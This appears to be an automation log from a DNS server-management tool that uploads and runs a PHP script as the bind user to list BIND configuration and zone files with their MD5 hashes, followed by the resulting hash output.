MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:43:04: Establishing a connection
2026-04-24 11:43:05: 

PUT: /tmp/pkp347650

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:43:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp347650; rm /tmp/pkp347650'

2026-04-24 11:43:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:43:12: Establishing a connection
2026-04-24 11:43:12: 

PUT: /tmp/pkp660971

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:43:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp660971; rm /tmp/pkp660971'

2026-04-24 11:43:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
